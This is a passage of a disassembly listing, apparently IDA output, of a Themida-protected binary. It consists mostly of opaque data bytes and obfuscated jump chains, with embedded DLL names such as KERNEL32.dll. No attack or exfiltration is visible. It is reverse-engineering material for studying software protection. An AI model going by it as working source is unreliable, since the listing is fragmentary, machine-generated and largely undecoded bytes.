		dd 0FFDD0EE9h, 8BCF09FFh, 0C481240Ch, 4, 205B850h, 0C7011081h
		dd 0D243E958h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_524742:				; CODE XREF: Themida_:00514905j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5113F9
; ---------------------------------------------------------------------------

loc_52474E:				; CODE XREF: Themida_:0051A43Ej
		push	dword ptr [esp]
		jmp	loc_5208AD
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1EF839ABh, 847BB53h,	5AE92F3Ah
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524767:				; CODE XREF: Themida_:0051627Fj
		sub	ecx, 433037B9h
		jmp	loc_522391
; ---------------------------------------------------------------------------
		dw 285Ah
		dd 1D9AE9C6h, 0E957FFFFh, 5EFh,	24143166h, 24143366h, 24143166h
		dd 87665D66h, 608C68EFh, 4890000h, 4EC8324h, 81242489h
		dd 42404h, 0E9580000h, 0FFFED19Ch, 815D5455h, 4C5h, 4F8DE900h
		dd 5455FFFFh, 802EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5247C2:				; CODE XREF: Themida_:00515F55j
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_51E99D
; ---------------------------------------------------------------------------
		db 4Bh
		dd 6990EB81h, 0F38156C2h, 0FEB10FA2h, 0B6E9DF29h, 66FFFEF7h
		dd 666BB4BFh, 8B66FE89h, 0C483243Ch, 0F0296602h, 29665E66h
		dd 665566D8h, 666BB4BDh, 5D66E801h, 0BE665666h,	556674FDh
		dd 456CBD66h, 3640566h,	0FFA323E9h, 0BF5750FFh,	658720B9h
		dd 308FBA52h, 0F281591Eh, 870CCA59h, 895AD701h,	243C8BF8h
		dd 4C481h, 0C1210000h, 0AE98158h, 81431A1Bh, 9B0514EDh
		dd 0A064E91Bh, 34FFFFFFh, 2434FF24h, 5A2434FFh,	0FEFDFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524861:				; CODE XREF: Themida_:00522596j
		mov	edx, esp
		jmp	loc_51417E
; ---------------------------------------------------------------------------
		dd 8B242C87h, 2DE92414h, 46FFFEBAh, 0AF0EEE81h,	0F231B766h
		dd 0B368565Eh, 5E73D842h, 8102EEC1h, 502377E6h,	52D6F749h
		dd 0FEC4CEE9h, 0CEE95EFFh, 66FFFF66h, 665FF929h, 0C8BC829h
		dd 4C48324h, 0EC815E66h, 4, 0E9243489h,	0FFFFEDF8h, 2C6EBB53h
		dd 66E95DDDh, 5AFFFFA8h, 0E9525366h, 0FFFEBD57h, 0C105E6C1h
		dd 0E94E04EEh, 0FFFFD319h
; ---------------------------------------------------------------------------

loc_5248D8:				; CODE XREF: Themida_:00516700j
		mov	edx, 48C95C36h
		shr	edx, 1
		jmp	loc_514DD3
; ---------------------------------------------------------------------------
		dd 0FE9FE88h, 1FFFF39h,	0FB02E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5248F2:				; CODE XREF: Themida_:0052104Cj
		push	dword ptr [esp]
		jmp	loc_51D73E
; ---------------------------------------------------------------------------
		dw 0C501h
aXhs		db 'Xh˜\',0
		align 2
		dw 3C89h
		dd 5E14BF24h, 0C781235Ah, 0A543D3Ah, 64B6C781h,	0BF57D251h
		dd 120D4C2Eh, 1370BE56h, 0EEC11D2Bh, 0DFBBE907h, 0C8BFFFEh
		dd 5B545324h, 0FFD6E1E9h, 0F8295BFFh, 0F06EE95Fh, 0E95CFFFEh
		dd 0FFFFDD5Ah
; ---------------------------------------------------------------------------

loc_524944:				; CODE XREF: Themida_:00517F72j
		add	ebx, 4
		jmp	loc_515C53
; ---------------------------------------------------------------------------
		db 5Ah
		dd 31240C33h, 0C33240Ch, 34FF5C24h, 240C8B24h, 0FFFE55E9h
		dd 0B1CCBAFFh, 0D70196C2h, 93EB815Ah, 128B610h,	93C381FBh
		dd 5F28B610h, 2B850h, 5EE90000h, 52FFFFE1h, 65326851h
		dd 0BA5958A9h, 6D1264D4h, 9EE9CA31h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52499B:				; CODE XREF: Themida_:00524E3Bj
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_518E18
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0ECh
		dd 4, 51243489h, 153C9E68h, 240C8B25h, 0FF390DE9h, 240C8BFFh
		dd 0FFD514E9h, 243433FFh, 27F6815Ch, 3175A02Fh,	2434FFF0h
		dd 4C4815Eh, 83000000h,	3C8904ECh, 2F886824h, 0EFE90000h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5249EF:				; CODE XREF: Themida_:0050FCC4j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_521A9F
; ---------------------------------------------------------------------------
		dd 7568EFD0h, 0E9000016h, 0FFFFEFA4h
; ---------------------------------------------------------------------------

loc_524A10:				; CODE XREF: Themida_:005135EDj
		shr	edx, 6
		jmp	loc_51A584
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 505DE801h, 42474FFh, 24048F58h, 0F1A4E95Ch
		dd 0E589FFFFh, 0FFD4B2E9h, 50E389FFh, 405E089h,	2D000000h
		dd 4, 2474FF50h, 0E96BE904h, 0E953FFFFh, 0FFFEC7E1h, 5C241487h
		dd 240CFF66h, 0ACA6E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_524A66:				; CODE XREF: Themida_:0052454Bj
		push	34E3h
		mov	[esp], ecx
		mov	cl, 0A0h
		mov	dh, cl
		jmp	loc_515912
; ---------------------------------------------------------------------------
		db 0BFh
		dd 5BDBF558h, 0E95FF931h, 0FFFF6583h
; ---------------------------------------------------------------------------

loc_524A84:				; CODE XREF: Themida_:00516DE8j
		mov	edx, 13A02EE9h
		shl	edx, 4
		shl	edx, 1
		shr	edx, 8
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0E3EA7F19h
		xor	edi, edx
		pop	edx
		mov	esi, edi
		pop	edi
		mov	eax, esi
		pop	esi
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_511034
		sub	esp, 4
		mov	[esp], eax
		push	51A7h
		mov	[esp], ebp
		push	ebx
		push	39277815h
		jmp	loc_516F22
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFC28Eh, 1C8BD828h, 4C48324h, 0FF4296E9h,	0E8295AFFh
		dd 87FBE95Dh, 487FFFFh,	1955E924h, 0E589FFFFh, 4C581h
		dd 0C5830000h, 242C8704h, 4EC815Ch, 89000000h, 0E9502414h
		dd 0FFFF8D98h, 8159CA21h, 920008F2h, 2C815242h,	0FF236A24h
		dd 0C181596Bh, 6BFF236Ah, 0E924148Bh, 0FFFF7B53h
; ---------------------------------------------------------------------------

loc_524B34:				; CODE XREF: Themida_:0051F873j
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_523245
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 2EE95697h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524B53:				; CODE XREF: Themida_:0051048Ej
		push	esi
		jmp	loc_5239C6
; ---------------------------------------------------------------------------
		db 49h,	81h, 0F1h
		dd 46E5FA47h, 0C8BCA01h, 4C48124h, 53000000h, 4BBh, 5BDA0100h
		dd 71C368h, 24148900h, 42474FFh, 5A2434FFh, 81E28952h
		dd 4C2h, 4EC8300h, 0FF6324E9h, 3BF681FFh, 81C94C08h, 637935EBh
		dd 0AFBE5676h, 8153A641h, 0E022ADC6h, 16CE8145h, 813E486Ah
		dd 5F3065EEh, 983FE979h, 0C15DFFFFh, 0EAC105E2h, 0B850E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524BCA:				; CODE XREF: Themida_:00522077j
		sub	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	2EA5h
		mov	[esp], ebx
		push	esp
		jmp	loc_51C0B5
; ---------------------------------------------------------------------------

loc_524BE3:				; CODE XREF: Themida_:0050FCB4j
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_5157BD
; ---------------------------------------------------------------------------
		db 0BBh, 0Fh, 20h
		dd 17BE21D5h, 3140437Bh, 241C8BDEh, 4C481h, 814E0000h
		dd 0A4034C6h, 8B505632h, 51E92434h, 68FFFF20h, 5606h, 0FEEC73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524C2D:				; CODE XREF: Themida_:0051CEEEj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_51377A
; ---------------------------------------------------------------------------

loc_524C43:				; CODE XREF: Themida_:00523196j
		pop	esi
		jmp	loc_52291E
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 4Bh
		dd 0E680CEFEh, 3B6DE9A9h, 0FE28FFFFh, 50241C8Bh, 405E089h
		dd 83000000h, 93E904C0h, 80FFFFE4h, 8B6677E9h, 9668241Ch
		dd 0E900005Dh, 0FFFEEF7Dh
; ---------------------------------------------------------------------------

loc_524C7C:				; CODE XREF: Themida_:0051BB54j
		add	ecx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_51FB7B
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 24248B24h, 0F387DD87h, 5653D6F7h
		dd 0DD875E5Bh, 9174F581h, 7FE9D01Eh, 33FFFFC1h,	2C31242Ch
		dd 242C3324h, 0FFD419E9h, 34DC68FFh, 0E3E90000h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524CDF:				; CODE XREF: Themida_:0051FCBCj
		xor	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		not	ebx
		jmp	loc_5167BE
; ---------------------------------------------------------------------------
		dd 0C7FEAFB7h, 8003EFC0h, 0DEE901C7h, 0C1FFFFABh, 0D6F707EEh
		dd 81D6F746h, 598092C6h, 0E90FE91Fh, 0CEBDFFFEh, 5319672Dh
		dd 0FF418FE9h, 241433FFh, 0FEE663E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524D21:				; CODE XREF: Themida_:00522F03j
		mov	eax, 27112A67h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		add	edx, eax
		push	esi
		mov	esi, 7CA415DEh
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 184B2EC0h
		mov	ecx, 0E7B4D140h
		add	ecx, edi
		pop	edi
		sub	ecx, esi
		jmp	loc_51890C
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 8B545524h, 0C483242Ch, 4C58104h, 83000000h, 2C8704C5h
		dd 0CDE95C24h, 0BFFFFF77h, 7C2645BFh, 0F707EFC1h, 44E781D7h
		dd 4726EC3Bh, 4FF78147h, 3115B902h, 0D033E9FDh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_524D8E:				; CODE XREF: Themida_:0051E99Fj
		pop	esi
		jmp	loc_51316F
; ---------------------------------------------------------------------------
		dd 4C481h, 1C8B0000h, 54736824h, 2C890000h, 81E58924h
		dd 4C5h, 4C58100h, 87000000h, 40E9242Ch, 1FFFF01h, 24048BC1h
		dd 0ECEBE956h, 74FFFFFEh, 0E90424h, 51FFFED6h, 7183BEB9h
		dd 59CE29D2h, 0A9B1E94Eh, 8B66FFFEh, 0ED68240Ch, 89000070h
		dd 0E189240Ch, 3FD7BB53h, 434317CCh, 240CFF53h,	0FEFB13E9h
		dd 0C48358FFh, 0C982E904h, 0F42DFFFEh, 12B3B69h, 69F405D8h
		dd 0F72D2B3Bh, 2D417C45h, 17C21048h, 82FBB53h, 0FEE92B31h
		dd 8BFFFF3Eh, 0C483240Ch, 0F8C38004h, 0E951EB80h, 0FFFFE59Dh
; ---------------------------------------------------------------------------

loc_524E38:				; CODE XREF: Themida_:0051906Aj
		mov	[esp], ebx
		jmp	loc_52499B
; ---------------------------------------------------------------------------

loc_524E40:				; CODE XREF: Themida_:005227D8j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51B2EF
; ---------------------------------------------------------------------------

loc_524E4B:				; CODE XREF: Themida_:00513B92j
		mov	esp, [esp]
		jmp	loc_51CAE7
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 73E9EB89h, 68FFFED2h, 39D7h, 0FF91E9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524E69:				; CODE XREF: Themida_:005117D2j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dw 8058h
		dd 72E901C1h, 81FFFFE8h, 2779BDEFh, 81D72937h, 2779BDC7h
		dd 0E95D5A37h, 0FFFED95Ch, 24048F5Eh, 0FFC7CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524E95:				; CODE XREF: Themida_:0051F42Bj
		add	eax, ebx
		push	ecx
		push	ebp
		jmp	loc_520E28
; ---------------------------------------------------------------------------
		dw 0BCB3h
		dd 8037E380h, 0CBFEFFC3h, 0A3E95166h, 0B8FFFFFBh, 4D11473Dh
		dd 41DF8C2Dh, 5723E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524EBE:				; CODE XREF: Themida_:005100ACj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_511A05
; ---------------------------------------------------------------------------
		dw 0B050h
		dd 58C32813h, 0FE4EF380h, 0B15166C3h, 0F1A7E9AAh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_524EDE:				; CODE XREF: Themida_:00523B92j
		mov	edi, 3A06320Fh
		or	ebp, edi
		pop	edi
		jmp	loc_52450F
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 46824h, 895D0000h, 0C1055DEAh, 134AF0Ah
		dd 0AC12DD0h, 34FF34AFh, 2964E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524F0E:				; CODE XREF: Themida_:00514130j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_514AA9
; ---------------------------------------------------------------------------

loc_524F19:				; CODE XREF: Themida_:00516347j
		not	bh
		inc	bh
		push	edx
		jmp	loc_51AECE
; ---------------------------------------------------------------------------
		db 5
		dd 11FC52F2h, 540FDE05h, 0E9D80172h, 0FFFEFE2Ah
; ---------------------------------------------------------------------------

loc_524F34:				; CODE XREF: Themida_:0051EFFCj
		xchg	eax, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		push	12C6h
		jmp	loc_520664
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8150240Ch, 4ECh, 24248900h, 4B850h, 12E90000h, 8BFFFFF2h
		dd 0C4832414h, 1EA8104h, 81000000h, 75AE40EAh, 817FE923h
		dd 0D789FFFFh, 8BFB015Ah
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_51D577
; ---------------------------------------------------------------------------
		db 89h
		dd 4B9240Ch, 89000000h,	0E98159CDh, 744168E3h, 71F5C181h
		dd 0E9014161h, 0FFCCFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524FA5:				; CODE XREF: Themida_:00517B94j
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_51F65B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 659E68h,	242C8900h, 6852E589h, 1A44h
		dd 24048F54h, 4240483h,	8DBFE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524FE6:				; CODE XREF: Themida_:00516549j
		mov	esi, 4
		jmp	loc_50FC86
; ---------------------------------------------------------------------------

loc_524FF0:				; CODE XREF: Themida_:0051F1E7j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_51AD2F
; ---------------------------------------------------------------------------
		db 5Ah,	0FFh, 34h
		dd 0C4835B24h, 0D8885004h, 8858C688h, 665966CBh, 51D98851h
		dd 0CB88F188h, 56B2E959h, 0E7C1FFFFh, 230CE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_525026:				; CODE XREF: Themida_:00516863j
		xor	ecx, 27F65848h
		jmp	loc_510FE3
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8F04C483h, 248B2404h, 240C8924h, 0FFC728E9h,	0DE8FFh
		dd 0D6DA0000h, 53200BF2h, 0A9B049EAh, 660C6B1Bh, 665ADE8Bh
		dd 0A414D381h, 6E9AC281h, 8A510000h, 0C92B5BFDh, 2800Fh
		dd 0DA8B0000h, 231134FFh, 22350585h, 85895F06h,	6220791h
		dd 180BC781h, 8B0F77A0h, 1, 0ACC781F9h,	896DBED6h, 222C299Dh
		dd 21EF8106h, 8B4B3D9Ch, 0B58B57C6h, 6220F9Dh, 8B0A048Fh
		dd 2206D99Dh, 699D0906h, 8306220Fh, 8B6602E9h, 0F4949C7h
		dd 98Ah, 3870F00h, 80000000h, 0F981E2D0h, 0FFFF9218h, 12850Fh
		dd 2CB40000h, 1BE9h, 64540A00h,	92D0C044h, 279E621Ah, 0E9DF8B66h
		dd 0FFFFFF7Ch, 1B6BE8AEh, 96415DFDh, 43E9h, 848E3D00h
		dd 45535503h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch,	707h, 12001D00h
		dd 5000400h, 1F300h, 3 dup(0)
		dd 8C8E9h, 0AA066800h, 0D0E90624h, 68FFFDD9h, 624AA75h
		dd 0FDD9C6E9h, 0ABA868FFh, 0BCE90624h, 68FFFDD9h, 624ACF3h
		dd 0FDD9B2E9h, 0AD5368FFh, 0A8E90624h, 68FFFDD9h, 624AE4Dh
		dd 0FDD99EE9h, 0AED168FFh, 94E90624h, 38FFFDD9h, 9E83EA55h
		dd 0A375EEDh, 62AFC685h, 0DCC52C17h, 0C7A95B2h,	0EC5B236Ch
		dd 51EE9C85h, 0C47F0936h, 2F1864ADh, 0A07C1DC4h, 411E9298h
		dd 0D349D97Dh, 4A398AFFh, 705958F6h, 746F69B7h,	952CA2Fh
		dd 0F6491850h, 0E3204D7Dh, 0C7BC676Ch, 0D1EF2ACDh, 0A9CE017Ch
		dd 0BC80A844h, 0F6854118h, 58D90449h, 5DA3A855h, 839D3FE7h
		dd 30EBB95Dh, 0C269B2E8h, 68A5C211h, 8A631827h,	7B446473h
		dd 613B5E82h, 96E42DF6h, 0C5075467h, 0E535E70Eh, 8A12403h
		dd 2063E0ABh, 331488E1h, 1CAF0609h, 513B7891h, 0EA929FF6h
		dd 0C1122D5Fh, 0B29763A2h, 2F0F9E7Ch, 736031Eh,	0C710000h
		dd 0A4D7D833h, 3C434CA7h, 0CEBBE40Fh, 69151A75h, 0B5B7B3DAh
		dd 0DA35127Ch, 4FA6A5D5h, 0E20D3642h, 1D74CFBDh, 0C31785D2h
		dd 36411E91h, 5778060h,	9EFB4434h, 3A3BFA0Eh, 5D9C1F47h
		dd 0C817CC08h, 0A36EFDAFh, 0AC0F491Eh, 13A4E4Bh, 52CFB9E6h
		dd 1E928EDAh, 9486341h,	54E597C4h, 0ACCF1C2Bh, 46AE9D6Dh
		dd 0EE3FF5BAh, 6C713h, 0C07B0200h, 341378A9h, 9CABD4DDh
		dd 23D4C75h, 6BD8A6EBh,	0D462600h, 66ABC281h, 0D3DC3714h
		dd 4E739AA5h, 63EA053Eh, 91728616h, 0F3A7411Eh,	3A057733h
		dd 8FB8C4E9h, 0D16E115Eh, 2C1B6F8Ch, 773BCFFh, 251A8D82h
		dd 0F5348270h, 43008BA0h, 0AE83D312h, 0D51CE44Ah, 4D017C93h
		dd 4AD451F3h, 42000000h, 0D33A0577h, 3BC4E87Bh,	10F1473Ah
		dd 8BB6ED22h, 0D256937Bh, 5C19B942h, 3A426FB5h,	0E3ABE801h
		dd 0C5D73864h, 0F4A8C10Eh, 49170304h, 0B0145031h, 0BC390674h
		dd 0EA3655A0h, 1E1B7C3Fh, 89B6D16Ah, 81744FFh, 61Ch, 2C525FFAh
		dd 0D4B8C11Fh, 3B8BDF4Dh, 4F6E473Ah, 3B26722Ah,	0E0CB473Ah
		dd 896348A1h, 473A3B61h, 0A2FB1994h, 562B1A2h, 9BA8D320h
		dd 3C58A345h, 76454918h, 6B6A121Fh, 65B9C8C7h, 0FF7CF918h
		dd 0C689B3A6h, 8597FE31h, 0B46881CEh, 4F3CF2B0h, 94A4785Dh
		dd 794B7CC2h, 0A2F34C3Ch, 0E8014083h, 1F6CDDABh, 0B186E120h
		dd 0F4281764h, 5380BBCDh, 77564D36h, 0CAB0AC74h, 26216B96h
		dd 98B75950h, 54ABE4EFh, 594h, 7A95AEDFh, 0EEF94635h, 661DEA1h
		dd 0BCD77019h, 0D53C0B73h, 0B4DA13D5h, 47337C97h, 0D8A091F8h
		dd 711B046Fh, 23B4BFD6h, 1E902149h, 0E63ED441h,	0DD3A0577h
		dd 5F81A364h, 65A3B06h,	79C2CAE7h, 2741B054h, 3AFF4D92h
		dd 74EE4C47h, 4551F313h, 0FFFFFEE1h, 5CE65FCDh,	0C501C3Dh
		dd 0F7285D26h, 6027E2C6h, 0BC87F53Ch, 9B11765Bh, 473A894Fh
		dd 31590BA2h, 0E4473A89h, 12728BC9h, 50783461h,	0C5473A89h
		dd 6D52B7F6h, 3A896BBFh, 0F12F8E47h, 0E3330CE0h, 0DFDC4918h
		dd 204390AFh, 0FE8B88E1h, 8FD51045h, 307F7444h,	96B5DAD7h
		dd 55859C45h, 3473F8E9h, 0F2AAAFF5h, 4F3AC555h,	5AE995E2h
		dd 47A00B06h, 0D203404Ah, 6C384D93h, 4B7EC45Bh,	8BBE3AA7h
		dd 45AED8D6h, 15AE3h, 0F1999600h, 5F760E52h, 0C91A2952h
		dd 3BEF76AAh, 31EB12C1h, 473A3BE9h, 96EA10Ch, 0A6E16324h
		dd 48F86093h, 2B297214h, 0E7D64918h, 79AA9507h,	974C69B2h
		dd 0E5CA2F48h, 0C668E337h, 79A71698h, 0E47B34AFh, 41921996h
		dd 0E6035003h, 6B61536h, 56B3FAAFh, 0E1083359h,	0C755CCB0h
		dd 0AB7AF9B3h, 62145766h, 0F9E2E41h, 498C93ACh,	84000004h
		dd 0FA274EF9h, 565BB291h, 0CEF31A29h, 386980BBh, 0A89EE956h
		dd 40FF8FC8h, 0B592F829h, 1823555Ah, 83BCC0F1h,	498E168h
		dd 411E97F4h, 58AD7519h, 690364ABh, 491EA39Ah, 0CAC7208Bh
		dd 256A85BEh, 5EBBE853h, 9297A379h, 337A411Eh, 81B8C4EDh
		dd 7C0A4DFAh, 0F5BA4731h, 0E99C63BCh, 24000003h, 9A87EE59h
		dd 0F63B52F1h, 6E53BA89h, 0D8C9201Bh, 87E89B6h,	0E05F2F68h
		dd 55F29889h, 0B883F53Ah, 231C6051h, 0A47801C8h, 411E9694h
		dd 774DD579h, 64DD3A05h, 17F0D30Ch, 0FA4537B6h,	2B4065BBh
		dd 0CFB5E661h, 8EBBCDCAh, 0D10245FEh, 1554F39Ch, 60662CFh
		dd 853F4B21h, 0DBD2473Ah, 87DCE385h, 9FBF473Ah,	51F31BE3h
		dd 0B794FB38h, 0FD17A469h, 7772FFFFh, 0EBE93A05h, 0DE4EABF8h
		dd 49183B99h, 262569A6h, 0BF6AB6F5h, 5F3995FCh,	0C21E2D52h
		dd 7D76D603h, 5BD136h, 0ED491828h, 206CA9CEh, 8F1DF927h
		dd 0D968DB61h, 7AF9770h, 0B1CBFD29h, 0E2330C70h, 887B9DC3h
		dd 23F9DE3Bh, 0E903ED17h, 6C6DB3FAh, 21FEC7B0h,	953F28E7h
		dd 70FF97F4h, 835F1AE3h, 0D985D987h, 5C1775A6h,	193AF217h
		dd 0F6FD4421h, 2755A2C7h, 0C0CCF51Ch, 0A49CF387h, 10214160h
		dd 2EF09h, 0E8533A00h, 5CEB9081h, 0C4830C35h, 2A1564ADh
		dd 93B0DEC3h, 256E0E78h, 9E83EA59h, 0B345FECh, 66ABC27Dh
		dd 1BC22D16h, 959AAE7Eh, 0DB7F411Eh, 0DEAB584Bh, 4FD16EDh
		dd 0B8D11057h, 1EC235E4h, 72972649h, 0AAF65525h, 0EA8142A7h
		dd 304748ACh, 2A5E9BB9h, 0BCE1F611h, 45477BCBh,	9848A5CCh
		dd 411F9570h, 2C7C30A5h, 0C1411F95h, 4C75ABEAh,	0CE7D0D3Ch
		dd 6B115E8Fh, 426726D0h, 0A1F2F5B9h, 26B5Eh, 6CD7A600h
		dd 0D06F1C05h, 380788B9h, 0AE99E0D1h, 17345A47h, 0A1EA8AFCh
		dd 1A076EDDh, 77B8D370h, 0E22F4601h, 9F46A19Ah,	951622FAh
		dd 57FB411Eh, 64AB58CFh, 0A3A06903h, 0A091491Eh, 595A9B1Eh
		dd 1770B3CFh, 0BEC9721Ah, 3E5BA25Eh, 6FBC87F1h,	9CC1104Ch
		dd 6CD5E5B7h, 7538411Eh, 6C4B9D2Fh, 7B6411Eh, 56F599D6h
		dd 444A4705h, 0D48CEC07h, 0BE076C8Dh, 55484460h, 0F395CB90h
		dd 411EA3AFh, 5D85E152h, 84EE5473h, 0B1DB1045h,	57247196h
		dd 1F78BBE8h, 1E437D8Dh, 0C71D9041h, 0A1EB26A6h, 4B3441A6h
		dd 0F9019BFCh, 1C411E43h, 1F004391h, 4481D26Dh,	0D7044337h
		dd 29854894h, 0B696D25Fh, 0EB291679h, 6A85BECEh, 0BFEC5725h
		dd 0EE3F0C72h, 0AB41A6CBh, 411E439Fh, 7B8F1D72h, 9E411E43h
		dd 0B980DC1Fh, 0AC97E53Fh, 62B6664Bh, 97411E43h, 0AA97F824h
		dd 5D3667E4h, 0CE2A9761h, 0F01B2856h, 8EBFCFh, 90D31243h
		dd 82090643h, 26529FC5h, 0D9A3C81Dh, 8AF03D6Eh,	1545A307h
		dd 11504F74h, 23458CCCh, 4754250Fh, 0C9761831h,	0FA265984h
		dd 533BF97Fh, 0E8949DF4h, 0CC112E51h, 84D448A1h, 69411EE3h
		dd 0B5D20342h, 9B111078h, 411EE34Fh, 9BC80BA2h,	8620458h
		dd 0EEC8C20Ch, 5D2F0563h, 0F6868BE2h, 0ABD3184Dh, 50994F9Ch
		dd 0D7701C18h, 5FEA5BBCh, 16B5279Fh, 721A277Dh,	867F84C9h
		dd 4FC61076h, 4D8FD5D5h, 14334796h, 465A4C7h, 95C681F7h
		dd 0E2C70A56h, 2F52C921h, 0EF35B87Dh, 80807E5Dh, 3B5C5FF7h
		dd 0F03246D6h, 0D4E78380h, 7E754788h, 39F3D831h, 8380F011h
		dd 0DC50A904h, 8380F08Ch, 0C3164A61h, 0A468C629h, 57226F8Dh
		dd 672BFECh, 6BA6FA3Dh,	0AEDE1340h, 47357A95h, 0C6B287F2h
		dd 0CA0D287Dh, 7F8A5A8Bh, 6081455Bh, 6068991Ch,	0F0D4E2FEh
		dd 3C4F6CB1h, 8B76DE0Fh, 2633B96Dh, 211A62C2h, 86C1CBC8h
		dd 0E47F8B61h, 1B929745h, 0E7959AC5h, 0BC50BCE6h, 0F1300EA6h
		dd 53F09B98h, 68BDE302h, 0D80D3643h, 61286574h,	39BFBAE6h
		dd 0EA3EEED3h, 0F9745ACh, 434970ACh, 0DCA091F8h, 80090663h
		dd 139B3EC7h, 0C050D893h, 15F6499Ch, 0E1000000h, 55BE494h
		dd 26525F69h, 3B59613Bh, 0F1BC473Ah, 23FB62BEh,	0E83D0677h
		dd 5D8EB9C3h, 8EDF6810h, 0F92A1961h, 287DCAB4h,	9FCC7B03h
		dd 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h, 3DE86869h,	34890000h
		dd 53E46824h, 0C890000h, 64556824h, 1C890000h, 2FBA5224h
		dd 0B96EC24Bh, 74E6F47Eh, 3E85C181h, 0D12962F4h, 3E85E981h
		dd 685A62F4h, 39B2h, 81242489h,	42404h,	565B0000h, 8F56CE89h
		dd 0FF5E0843h, 815B2434h, 4C4h,	240C8B00h, 81E18951h, 4C1h
		dd 4C18100h, 87000000h,	0E95C240Ch, 0FFFDD113h,	0B161B80Bh
		dd 0C5030624h, 25E7E0FFh, 3AB475DDh, 0BB6E6DBCh, 2FEC64E5h
		dd 0A0DD6907h, 0BB0B4AE9h, 0DFA52F4Ah, 0F3FB0465h, 44E1C27h
		dd 9EFD7EECh, 0C2D220E9h, 83EC1D77h, 1C616318h,	0B70B3F35h
		dd 53293435h, 0D7C36C0Dh, 0AA81333h, 7F4E1C9Ch,	2F4C0187h
		dd 0A23F2484h, 20B6464Fh, 4AD16FF5h, 0CDC17E87h, 8F5315C3h
		dd 8CE937AFh, 60000000h, 2801BD83h, 0F000622h, 584h, 77E900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h
		dd 3D858D00h, 90062227h, 50969050h, 0FF006A96h,	2206B995h
		dd 0C6C36106h, 22330985h, 5D684D06h, 81F7028Ah,	0FCF52434h
